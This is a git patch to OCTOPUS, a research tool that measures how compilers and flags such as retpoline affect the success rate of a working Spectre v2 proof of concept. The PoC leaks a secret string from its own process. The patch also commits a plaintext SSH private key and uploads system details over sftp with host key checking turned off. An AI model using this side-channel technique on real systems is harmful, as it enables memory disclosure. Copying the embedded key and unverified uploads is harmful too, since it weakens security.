From 4a0dacbfa31fe113836969f5b2d39b93c0604444 Mon Sep 17 00:00:00 2001 From: Samuel Aubertin Date: Sun, 23 Jan 2022 19:37:24 +0100 Subject: [PATCH] Refactor spectre.c and add multiple targets to the Makefile: - GCC support - RETPOLINE for both GCC and clang - LLD dynamic linker to support RETPOLINE mitigations on dynamic executables - Results aggregation using SFTP --- .gitignore | 1 + Makefile | 119 ++++++++++++++++++++++++++++------- README.md | 29 +++++++-- octoupload | 7 +++ spectre.c | 177 ++++++++++++++++++++++++++--------------------------- 5 files changed, 215 insertions(+), 118 deletions(-) create mode 100644 octoupload diff --git a/.gitignore b/.gitignore index fa61fa7..7daa02d 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,2 @@ spectre-* +*.log diff --git a/Makefile b/Makefile index 2a5336d..1243604 100644 --- a/Makefile +++ b/Makefile @@ -1,7 +1,12 @@ -DEPENDENCIES= glibc-static +.PHONY: clean build upload +.SILENT: +.NOTPARALLEL: + +EXECUTABLES = clang gcc uuid rsync +DEPENDENCIES := $(foreach exec,$(EXECUTABLES), $(if $(shell which $(exec) 2> /dev/null),X,$(error "No '$(exec)' in PATH, please install it and restart octopus !"))) -CC= clang +### Generic flags PROG= spectre CFLAGS= -march=native CFLAGS+= -W @@ -9,36 +14,104 @@ CFLAGS+= -Wall CFLAGS+= -Werror CFLAGS+= -Wno-unused-parameter CFLAGS+= -Wno-missing-field-initializers +LDFLAGS= -fuse-ld=lld - +### Octopus flags +CCS= clang gcc OPTIMIZATIONS= 0 1 2 3 -LINKAGE= static +RETPOLINE= mretpoline +UUID= $(shell uuid) +RESULTS_FILE= results-$(UUID).log +SSH_KEY= octoupload +TIMES= 1 +#FLAGS= -v -OPROGS= $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(PROG))) -PROGS+= $(OPROGS) $(foreach L, $(LINKAGE), $(addsuffix -$(L), $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(PROG))))) +### Octopus internals +TEMP= $(shell mktemp) +TEE= | tee -a $(TEMP) -.PHONY: clean -.SILENT: -.NOTPARALLEL: +### Compilers +CPROGS= $(foreach C, $(CCS), $(addsuffix -$(C), $(PROG))) -all: $(PROGS) - echo -e "\033[1mCPU\t\t" $$(LC_ALL=en_US.UTF-8 lscpu | grep "Model name" | cut -d":" -f 2 | sort | uniq | awk '{$$1=$$1;print}') - echo -e "Kernel\t\t" $$(uname -a) - echo -e "Test date\t" $$(date "+%d-%m-%Y") - echo -e "Clang\t\t" $$(clang -v 2>&1 | head -n 1)"\033[0m" +### Optimizations +OPROGS= $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS))) + +### Static +SPROGS= $(addsuffix -static, $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(CPROGS)))) + +### Retpoline +## clang +# dynamic +RCPROGS= $(addsuffix -retpoline, $(filter spectre-clang%, $(OPROGS))) +# static +RSCPROGS= $(addsuffix -retpoline, $(filter spectre-clang%, $(SPROGS))) +## gcc +# dynamic +RGPROGS= $(addsuffix -retpoline, $(filter spectre-gcc%, $(OPROGS))) +# static +RSGPROGS= $(addsuffix -retpoline, $(filter spectre-gcc%, $(SPROGS))) + +PROGS= $(OPROGS) +PROGS+= $(SPROGS) +PROGS+= $(RCPROGS) +PROGS+= $(RSCPROGS) +PROGS+= $(RGROGS) +PROGS+= $(RSGPROGS) + + +all: upload + +upload: $(RESULTS_FILE) + echo -e "\033[4mUploading $^ to www.sk4.nz\033[0m" + sftp -b - -i $(SSH_KEY) -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ + octoupload@www.sk4.nz: <<< $$'put $^' + +build: $(PROGS) + +%.log: build + echo -e "\033[1m\033[94m________ __"; + echo "\_____ \ _____/ |_ ____ ______ __ __ ______"; + echo " / | \_/ ___\ __\/ _ \\____ \| | \/ ___/"; + echo "/ | \ \___| | ( <_> ) |_> > | /\___ \ "; + echo "\_______ /\___ >__| \____/| __/|____//____ >"; + echo -e " \/ \/ |__| \/\033[0m"; + echo -e " Samuel AUBERTIN - EURECOM\n" + echo -e "\033[4mUUID\033[0m\t\t$(UUID)" $(TEE) + echo -e "\033[4mCPU\033[0m\t\t"$$(LC_ALL=en_US.UTF-8 lscpu | grep "Model name" | cut -d":" -f 2 | sort | uniq | awk '{$$1=$$1;print}') $(TEE) + echo -e "\033[4mMicrocode\033[0m\t"$$(grep microcode /proc/cpuinfo | sort | uniq | awk '{print $$NF}') $(TEE) + echo -e "\033[4mKernel\033[0m\t\t"$$(uname -svm) $(TEE) + echo -e "\033[4mKRETPOLINE\033[0m\t"$$(cat /boot/config-$$(uname -r) | grep RETPOLINE) + echo -e "\033[4mClang\033[0m\t\t"$$(clang -v 2>&1 | head -n 1) $(TEE) + echo -e "\033[4mGCC\033[0m\t\t"$$(gcc -v 2>&1 | grep 'gcc version') $(TEE) + echo -e "\033[4mVulnerablities\033[0m" $(TEE) + LC_ALL=en_US.UTF-8 lscpu | grep Vuln | awk '{s = ""; for(i = 2; i <= NF; i++) s = s $$i " "; print "\t\t" s }' $(TEE) + echo + taskset 01 ./$(firstword $(PROGS)) -c $(TEE); \ for p in $(PROGS); do \ - sleep 1; \ - echo -e "\033[4m$$p\033[0m "; \ - taskset 01 ./$$p; \ - echo; done + for t in $$(seq $(TIMES)); do \ + sleep 1; \ + taskset 01 ./$$p $(FLAGS) $(TEE); \ + done \ + done + mv $(TEMP) $@ +$(OPROGS): + $(word 2, $(subst -, ,$@)) $(CFLAGS) $(LDFLAGS) -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c -$(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(PROG))): - $(CC) $(CFLAGS) -$(word 2, $(subst -, ,$@)) -o $@ $(PROG).c +$(SPROGS): + $(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c -$(foreach L, $(LINKAGE), $(addsuffix -$(L), $(foreach O, $(OPTIMIZATIONS), $(addsuffix -O$(O), $(PROG))))): - $(CC) $(addprefix -, $(word 3, $(subst -, ,$@))) $(CFLAGS) -$(word 2, $(subst -, ,$@)) -o $@ $(PROG).c +$(RCPROGS): + $(word 2, $(subst -, ,$@)) $(CFLAGS) -mretpoline $(LDFLAGS) -z retpolineplt -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c +$(RSCPROGS): + $(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -mretpoline -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c + +$(RGPROGS): + $(word 2, $(subst -, ,$@)) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register $(LDFLAGS) -z retpolineplt -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c + +$(RSGPROGS): + $(word 2, $(subst -, ,$@)) $(addprefix -, $(word 4, $(subst -, ,$@))) $(CFLAGS) -mfunction-return=thunk -mindirect-branch=thunk -mindirect-branch-register -$(word 3, $(subst -, ,$@)) -o $@ $(PROG).c clean: - rm -rf $(PROGS) + rm -rf $(PROGS) *.log diff --git a/README.md b/README.md index e437ade..1fc0661 100644 --- a/README.md +++ b/README.md @@ -7,16 +7,24 @@ Samuel AUBERTIN - EURECOM - 2022 **OCTOPUS** is a [Spectre v2](https://spectreattack.com/spectre.pdf) (_Branch Target Injection_) compiler flag tester for [CVE 2017-5715](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715). -It measures the success rate of the same attack using different compiler flags such as: +It measures the success rate of the same attack using different compilers: + +- GCC +- CLANG + +And compilation/linking flags such as: - Optimisation levels (```-O```) - Static linking -- TODO +- RETPOLINE ## Dependencies - ```clang``` -- ```glibc-static``` +- ```gcc``` +- ```sftp``` +- ```uuid``` +- The libC static symbols ```glibc-static``` ## Execution @@ -24,9 +32,18 @@ It measures the success rate of the same attack using different compiler flags s ## Results aggregation -TODO -- Craft a JSON with metadata -- Upload over SFTP with dedicated ssh key +Results are automatically uploaded to a server with ```sftp``` using a dedicated account. + +Here is an exhaustive list of the data sent: +- CPU model name and microcode version. +- Kernel version and compilation date. +- The kernel compilation flag ```CONFIG_RETPOLINE```. +- GCC and clang versions. +- The list of mitigations enabled at runtime. +- The cache timings of the processor computed by the ```calibrate_threshold()``` function. +- Each spectre execution success rate. + +**NONE** of this data will be used for anyhting else except this experiment. ## Sources diff --git a/octoupload b/octoupload new file mode 100644 index 0000000..9cd8425 --- /dev/null +++ b/octoupload @@ -0,0 +1,7 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACDRMHpltlVQQGQ/TUefHbUm0D95n41qmshPfgEuPT9g2AAAAJDstvkV7Lb5 +FQAAAAtzc2gtZWQyNTUxOQAAACDRMHpltlVQQGQ/TUefHbUm0D95n41qmshPfgEuPT9g2A +AAAEAVqIlF6M6PT9cLOCeUjxEr8K5Xb6IlU8JkZTaLcSihxdEwemW2VVBAZD9NR58dtSbQ +P3mfjWqayE9+AS49P2DYAAAACm9jdG91cGxvYWQBAgM= +-----END OPENSSH PRIVATE KEY----- diff --git a/spectre.c b/spectre.c index d474de2..9c7a521 100644 --- a/spectre.c +++ b/spectre.c @@ -17,13 +17,7 @@ static int _has_rdtscp; #error "unsupported architecture" #endif -#if defined(__i386__) -#define PUSH(r) "pushl %%e" #r "x\n" -#define POP(r) "popl %%e" #r "x\n" -#elif defined(__amd64__) -#define PUSH(r) "pushq %%r" #r "x\n" -#define POP(r) "popq %%r" #r "x\n" -#endif +#define HAVE_RDTSCP (1U << 27) char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion."; @@ -37,7 +31,9 @@ unsigned cache_hit_threshold; int verbose; static inline unsigned -timedaccess(volatile uint8_t *addr) +timed_access( + volatile uint8_t *addr + ) { uint64_t t0, t1; #pragma GCC diagnostic ignored "-Wuninitialized" @@ -56,78 +52,73 @@ timedaccess(volatile uint8_t *addr) return (unsigned)(t1 - t0); } +static inline void +native_cpuid( + unsigned int *eax, + unsigned int *ebx, + unsigned int *ecx, + unsigned int *edx + ) +{ + asm volatile("cpuid" + : "=a" (*eax), + "=b" (*ebx), + "=c" (*ecx), + "=d" (*edx) + : "0" (*eax), "2" (*ecx)); +} + static void -calibrate_clock(int verbose, unsigned int *threshold) +calibrate_threshold( + int verbose, + unsigned int *threshold + ) { volatile char buf[2 * CACHELINESIZE]; volatile uint8_t *bufp; - __attribute__((unused)) volatile int junk = 0; int i; const int cnt = 1000; uint64_t tcache, tmem; - unsigned cap; + unsigned eax, ebx, ecx, edx; + __attribute__((unused)) volatile int junk = 0; - __asm__ volatile ( - PUSH(a) - PUSH(b) - PUSH(c) - PUSH(d) - "mov $0x80000001,%%eax\n" - "mov $0,%%ecx\n" - "cpuid\n" - "mov %%edx,%0\n" - POP(d) - POP(c) - POP(b) - POP(a) - : "=m" (cap) - /* - * clang sometimes stores the result using an offset relative to - * %esp! That won't work, because we modify %esp with push and pop. - * Hence, prevent them compiler from using %esp! - */ - :: "esp" ); - -#define HAVE_RDTSCP (1U << 27) - if (cap & HAVE_RDTSCP) { - if (verbose) - printf("CPU has RDTSCP\n"); + eax = 0x80000001; // Has RDTSCP ? + ecx = 0; + native_cpuid(&eax, &ebx, &ecx, &edx); + if (edx & HAVE_RDTSCP) { + switch (verbose) { + case 1: + fprintf(stderr, "CPU has RDTSCP.\n"); + break; + case 2: + fprintf(stdout, "CPU has RDTSCP.\n"); + break; + } _has_rdtscp = 1; } else { - if (verbose) - printf("WARNING: CPU has no RDTSCP support, using RDTSC.\n"); + switch (verbose) { + case 1: + fprintf(stderr, "WARNING: CPU has no RDTSCP support, using RDTSC.\n"); + break; + case 2: + fprintf(stdout, "WARNING: CPU has no RDTSCP support, using RDTSC.\n"); + break; + } _has_rdtscp = 0; } - /* On i386 PIC we have to preserve %ebx, too */ - __asm__ volatile ( - PUSH(a) - PUSH(b) - PUSH(c) - PUSH(d) - "mov $0x7,%%eax\n" - "mov $0,%%ecx\n" - "cpuid\n" - "mov %%ebx, %0\n" - POP(d) - POP(c) - POP(b) - POP(a) - : "=m" (cap) - :: "esp" ); - bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINESIZE) & ~(CACHELINESIZE - 1))); junk |= *bufp; for (i = 0, tcache = 0; i < cnt; i++) - tcache += timedaccess(bufp); + tcache += timed_access(bufp); tcache /= cnt; for (i = 0, tmem = 0; i < cnt; i++) { _mm_clflush((const void *)bufp); _mm_mfence(); - tmem += timedaccess(bufp); + tmem += timed_access(bufp); } tmem /= cnt; if (threshold != NULL) { @@ -136,16 +127,28 @@ calibrate_clock(int verbose, unsigned int *threshold) (*threshold)--; } - if (verbose) { - printf("Access time: memory %lu, cache %lu", tmem, tcache); - if (threshold) - printf(" -> threshold %d", *threshold); - printf("\n"); + switch (verbose) { + case 1: + fprintf(stderr, "Access time: memory %lu, cache %lu", tmem, tcache); + if (threshold) + fprintf(stderr, " -> threshold %d", *threshold); + fprintf(stderr, "\n"); + break; + case 2: + fprintf(stdout, "Access time: memory %lu, cache %lu", tmem, tcache); + if (threshold) + fprintf(stdout, " -> threshold %d", *threshold); + fprintf(stdout, "\n"); + break; } return; } -void victim_function(size_t x) { +void +victim_function( + size_t x + ) +{ if (x < array1_size) { temp &= array2[array1[x] * 512]; } @@ -153,17 +156,16 @@ void victim_function(size_t x) { void leak( - size_t malicious_x, - uint8_t value[2], - int score[2], - unsigned cache_hit_threshold + size_t malicious_x, + uint8_t value[2], + int score[2], + unsigned cache_hit_threshold ) { static int results[256]; int tries, i, j, mix_i; unsigned int junk = 0; size_t training_x, x; - register uint64_t time1, time2; volatile uint8_t *addr; for (i = 0; i < 256; i++) @@ -185,7 +187,6 @@ leak( x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ x = training_x ^ (x & (malicious_x ^ training_x)); - /* Call the victim! */ victim_function(x); @@ -195,32 +196,31 @@ leak( for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; addr = & array2[mix_i * 512]; - time1 = __rdtscp(& junk); /* READ TIMER */ - junk = *addr; /* MEMORY ACCESS TO TIME */ - time2 = __rdtscp(& junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ - if (time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size]) - results[mix_i]++; /* cache hit - add +1 to score for this value */ + if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) + results[mix_i]++; /* cache hit - add +1 to score for this value */ } - /* Locate highest & second-highest results tallies in j */ + /* Locate highest results in j */ j = -1; for (i = 0; i < 256; i++) { if (j < 0 || results[i] >= results[j]) { j = i; } } - if (results[j] == 3) + if (results[j] >= 3) break; } + results[0] ^= junk; /* use junk so code above won’t get optimized out*/ value[0] = (uint8_t) j; score[0] = results[j]; - //value[1] = (uint8_t) k; - //score[1] = results[k]; } int -main(int argc, char ** argv) +main( + int argc, + char** argv + ) { int o; size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */ @@ -228,17 +228,20 @@ main(int argc, char ** argv) uint8_t value[2]; unsigned sucesses = 0; - while ((o = getopt(argc, argv, "t:v")) != EOF) { + while ((o = getopt(argc, argv, "t:vc")) != EOF) { switch (o) { case 't': cache_hit_threshold = atoi(optarg); break; case 'v': verbose++; - break; + break; + case 'c': + calibrate_threshold(2, &cache_hit_threshold); + return 0; default: usage: - fprintf(stderr, "usage: %s [-v] " + fprintf(stderr, "usage: %s [-v] [-c] " "[-t threshold]\n", argv[0]); return 2; } @@ -246,14 +249,12 @@ main(int argc, char ** argv) if (argc != optind) goto usage; - calibrate_clock(verbose, cache_hit_threshold ? NULL : &cache_hit_threshold); + calibrate_threshold(verbose, cache_hit_threshold ? NULL : &cache_hit_threshold); for (i = 0; i < (int)sizeof(array2); i++) array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ if(verbose) { - printf("Threshold is: %d\n", cache_hit_threshold); - printf("Leaking %d bytes:\n", (int)strlen(secret)); + fprintf(stderr, "Leaking %d bytes using Branch Target Injection:\n", (int)strlen(secret)); } - while (--len >= 0) { leak(malicious_x++, value, score, cache_hit_threshold); if(score[0] == 3 && value[0] > 31 && value[0] < 127) { @@ -264,9 +265,7 @@ main(int argc, char ** argv) } } fprintf(stderr, "\n"); - printf("%.0f%%\n", 100 * sucesses / (float)strlen(secret)); - - _mm_mfence(); + printf("%s: %.0f %%\n", argv[0] + 2, 100 * sucesses / (float)strlen(secret)); return 0; }